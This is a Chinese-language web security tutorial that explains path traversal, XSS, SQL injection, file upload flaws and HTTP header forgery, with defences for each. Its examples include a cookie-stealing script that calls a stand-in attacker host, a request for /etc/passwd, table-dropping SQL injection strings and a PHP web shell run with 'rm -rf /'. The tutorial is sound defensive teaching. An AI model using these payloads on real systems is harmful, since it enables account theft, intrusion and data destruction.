Web 安全的核心原则只有一条:永远不要信任用户输入。 所有来自用户的数据都是”数据”,不是”指令”,必须检查、过滤、转义后才能使用。
核心原则
前端检查只是用户体验,安全检查必须在后端做。因为前端代码在用户手里,可以被随意修改;后端代码在服务器上,用户碰不到。详见 05-前端与后端。
常见攻击类型
1. 路径遍历(Path Traversal)
攻击者通过在路径里输入 ../ 跳出网站根目录,访问服务器上的任意文件。
原理:
正常请求:/download?file=笔记.pdf
服务器找:/var/www/files/笔记.pdf ✅
恶意请求:/download?file=../../../etc/passwd
服务器找:/var/www/files/../../../etc/passwd
实际解析:/etc/passwd ← 读到系统密码文件!
../ 表示”上一级目录”,连续多个可以跳出根目录。
防御:
- 不要直接拼接用户输入到文件路径
- 拼接后检查最终路径是否仍在允许目录内
- 过滤
../、..\等危险字符 - 主流服务器(Nginx、Caddy、Cloudflare)默认已防
2. XSS(跨站脚本攻击)
攻击者在输入框(评论、用户名)里注入 <script> 代码,其他用户访问页面时代码在他们浏览器里执行。
例子:
攻击者在评论区提交:
<script>
new Image().src = "http://黑客.com/steal?c=" + document.cookie;
</script>
如果网站没转义,其他用户打开页面时:
- 浏览器看到
<script>,以为是网站自己的代码 - 执行代码,把用户的登录Cookie发到攻击者服务器
- 攻击者用Cookie冒充用户登录
能做什么: 偷Cookie/账号、冒充用户操作、显示钓鱼页面、篡改页面内容、挖矿…
防御:
- 输出时转义特殊字符:
<→<,>→>,<script>变成纯文本显示 - Cookie 设置
HttpOnly(JS读不到Cookie) - 现代框架(React、Vue)默认自动转义,不易中招
3. SQL注入
攻击者在输入框里输入SQL代码片段,改变后端数据库查询的逻辑。
例子:
危险的后端代码(直接拼接SQL):
sql = "SELECT * FROM users WHERE name='" + username + "' AND pass='" + password + "'"
正常登录:用户名 admin,密码 123456
SELECT * FROM users WHERE name='admin' AND pass='123456' ✅
攻击者在用户名框输入:admin' --
SELECT * FROM users WHERE name='admin' --' AND pass='xxx'
-- 后面的密码检查被注释掉了!不需要密码直接登录
更狠的:'; DROP TABLE users; --
SELECT * FROM users WHERE name=''; DROP TABLE users; --' AND pass='...'
-- 用户表被整个删除!
防御:
- 永远用参数化查询(Prepared Statement),不要手动拼接SQL字符串
- 使用ORM框架(它们底层自动参数化)
- 数据库账号只给必要权限,不用root/sa账号连数据库
4. 文件上传漏洞
网站允许上传文件时,如果没检查文件类型和路径,攻击者可以上传恶意脚本并执行。
攻击方式一:路径穿越写文件
文件名输入 ../../shell.php,恶意文件被写到网站目录外的可执行位置,然后通过URL访问执行。
攻击方式二:伪装文件类型
上传 shell.php.jpg 双扩展名文件、.htaccess 配置文件、或在图片里嵌入代码(图片马)。
一句话木马(PHP):
<?php system($_GET['cmd']); ?>
访问 shell.php?cmd=rm -rf / 就能执行任意系统命令。
防御:
- 服务器重新生成随机文件名(不要用用户提供的文件名)
- 严格白名单检查扩展名(只允许
.jpg/.png/.pdf等) - 上传目录设置为不可执行
- 验证文件内容(图片就检查是不是真的图片)
- 上传目录放在Web根目录外面
5. HTTP请求头伪造
HTTP请求头(Headers)是客户端自己填的,想填什么填什么,可以随便伪造。
| 请求头 | 作用 | 伪造风险 |
|---|---|---|
X-Forwarded-For | 声称的用户IP | 伪造IP刷票、绕过IP限流 |
Referer | 声称从哪个页面跳转过来 | 伪造Referer绕过防盗链 |
User-Agent | 声称自己用什么浏览器 | 伪装爬虫/绕过UA检测 |
Cookie | 用户登录凭证 | 偷到别人Cookie就能冒充登录 |
防御:
- 不要信任
X-Forwarded-For获取真实IP(除非你自己配了可信代理) - 防盗链、权限检查不依赖Referer
- Cookie 设置
HttpOnly+Secure+SameSite - 敏感操作(转账、改密码)加二次验证(短信/验证码)
- CSRF Token 防止跨站请求伪造
各类网站的安全风险对比
| 网站类型 | 风险等级 | 主要风险 |
|---|---|---|
| 自己写的动态站(带用户系统) | 🔴 高 | SQL注入、XSS、RCE、文件上传、权限绕过… 全要防 |
| WordPress(未及时更新) | 🟠 中高 | 插件漏洞多,必须及时更新 |
| Halo/Typecho等博客程序 | 🟡 中 | 后台弱密码、主题/插件漏洞 |
| 静态博客(Hexo/Quartz/Hugo) | 🟢 极低 | 无数据库、无后端、无用户系统,大部分漏洞免疫 |
静态博客会不会被黑
静态站(比如你的数字花园)天然免疫绝大多数漏洞:
- ❌ 没有数据库 → SQL注入不存在
- ❌ 没有动态路径拼接 → 路径遍历不存在
- ❌ 没有上传功能 → 文件上传漏洞不存在
- ❌ 没有后端代码执行 → 远程代码执行不存在
- ❌ 没有用户系统 → 权限/登录漏洞不存在
可能遇到的风险:
- GitHub/Cloudflare账号被盗 → 开启两步验证(2FA)即可
- 第三方脚本XSS → 不要随便嵌入来源不明的JS代码
- DDoS攻击 → Cloudflare免费版就有基本防护
- 依赖包漏洞 → 定期
npm update - 密钥泄露 → 不要把Token/密码硬编码在Git仓库里
就这些,比动态站少操心太多。
防御口诀
| 原则 | 说明 |
|---|---|
| 永远不要信任用户输入 | 所有来自用户的数据都要验证、过滤、转义 |
| 安全检查只信后端 | 前端检查是体验,后端检查才是安全 |
| 最小权限原则 | 数据库账号、服务器进程只给必要权限 |
| 纵深防御 | 多层防护,一层被突破还有下一层 |
| 默认拒绝 | 没明确允许的就是禁止的 |
| 保持更新 | 框架、依赖、服务器及时打补丁 |